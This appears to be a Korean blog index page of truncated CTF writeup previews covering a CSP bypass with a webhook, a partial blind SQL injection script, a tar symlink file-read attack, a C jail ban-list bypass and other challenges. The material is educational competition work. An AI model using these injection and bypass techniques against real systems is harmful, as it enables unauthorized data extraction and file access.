CTF Writeup 39

2023 Layer7 CTF Writeup

1. Loogle - rev / 986 pts 음 문제 정적분석하다가 4시간 날려먹고 이리저리 동적분석해가면서 풀었다 database 폴더 내에 위처럼 파일이 4개가 저장되어있다. 저장 방식은 각 문서에 나오는 단어들을 rev_index_table에 쭉 저장하는데, 각 단어가 몇번째 문서에 몇번 나오는지가 저장되어있다. 위 단어들이 각 문서에 있는데, henagon 부터 icosadecagon 까지는 총 22006개의 문서에 수십개에서 수백개씩 모두 들어가있다. 플래그에 해당하는 단어들은 20000 문서부터 20005 문서까지 저장되어 있다. 그리고 nc 서버가 열려있는데 서버에서는 search 바이너리가 실행되어서 문서를 검색할 수 있게 한다. cpp이지만 다행히 strip까지는 안되어있어서 아래처럼 ..

CTF Writeup 2023.12.03

seeds - python bytes, int seed trick

2023.11.26 HSpace CTF - seeds import random flag = "hspace{}" random.seed(bytes.fromhex(input("hex seed> "))) cache = random.getrandbits(50000) random.seed(int(input("int seed> "))) assert cache == random.getrandbits(50000) print(flag) seed를 bytes와 int 로 각각 설정하는데 같은 시드인 것처럼 동작해야한다. python seed 코드를 확인해보면 https://github.com/python/cpython/blob/main/Lib/random.py#L167C32-L167C32 seed 가 bytes 인 경우 i..

CTF Writeup 2023.11.27

babysrc - CSP default-src, unsafe-inline bypass

2023.11.25 - Incognito 2023 CTF - babysrc 단순 XSS 문제인데 다음의 조건이 있따. 1. CSP - default-src, unsafe-inline 2. xss 로 post(/flag) -> res -> get(hook) unsafe-inline 이 허용되어서 script 태그처럼 js 코드를 실행시킬 수는 있는데, default-src 에 connect-src 가 포함되어 있어서 fetch, xhr 등으로 /flag 나 웹훅 사이트에 리퀘를 못 날린다. 다른 CTF 에서도 이러한 유형의 문제를 만나고 해결하지 못한 경험이 많은데 이번에 해결하였다 window.open 으로 원하는 주소에 접근할 수 있고 이는 CSP 에 걸리지 않아 이것을 이용하면 된다. 특이한 것은 P..

CTF Writeup 2023.11.27

freeboard - php blind error based sqli

평소 sqli 문제는 잘 못 풀었었는데 이제 어느정도 감 잡은 것 같다. blind sqli 코드 재활용을 위해 남긴다 from requests import * URL = 'http://54.180.124.188:8010/' for k in range(1): print('*'*10) s = [] for j in range(40): # print('asdf') start = 0 end = 255 for i in range(30): bs = (start + end) // 2 # print(bs, start, end) password = '12345678' username = f"' or (select case when ord(substr(s.column_name, {j+1}, 1)) >= {bs} then ..

CTF Writeup 2023.11.27

hdrive - tar symbolic link attack

2023.11.26 - Hspace CTF - H Drive tar 파일만을 업로드할 수 있고 압축한 파일들을 다운받을 수 있다. https://blog.bi0s.in/2020/06/07/Web/Defenit20-TarAnalyzer/ TarAnalyzer - 2020 Defenit CTF | bi0s tl;dr Zip Slip Vulnerability + YAML Deserialization Attack + Race Condition Unintended Solution: Upload symlink leading to arbitarary file reads Solved by: c3rb3ru5 Challenge Description Our developer built simple web server for..

CTF Writeup 2023.11.27

safe-compiler / C jail Trick

2023.11.26 Hspace CTF - safe compiler BAN_LIST = ['sys', 'exe', 'asm', 'attr', 'mprotect', 'mmap', 'munmap', 'open', 'read', 'write', ';', 'include'] CTF C Jail semicolon & include filtered bypass 1. semicolon #include int main() { if(printf("Hello, World\n")) {} } if, while, switch 안에 표현식(expression) 을 넣어서 세미콜론 없이 코드를 작성할 수 있다. 2. include 헤더를 include 할 수 없어서 __asm__ 을 생각해볼 수 있는데 표현식이 아니라 statem..

CTF Writeup 2023.11.27

2023 SSTF - Dusty Code

아쉽게 못 푼 문제. 문제 설명처럼 a-z 까지 수백개의 프로젝트 폴더를 주는데 이 중 서버에서 돌리는 코드를 찾으면 된다. 서버에 접속하면 위와 같이 뜨는데 이를 이용해서 서버 코드를 찾는다. import glob import re from requests import get url = 'http://dustycode.sstf.site:3000/' directories = glob.glob('./projects/*') for i, directory in enumerate(directories): # print(i, directory) app = open(f'{directory}/server/app.js', 'r').read() endpoints = re.findall("'/.*'", app) for e..

CTF Writeup 2023.08.21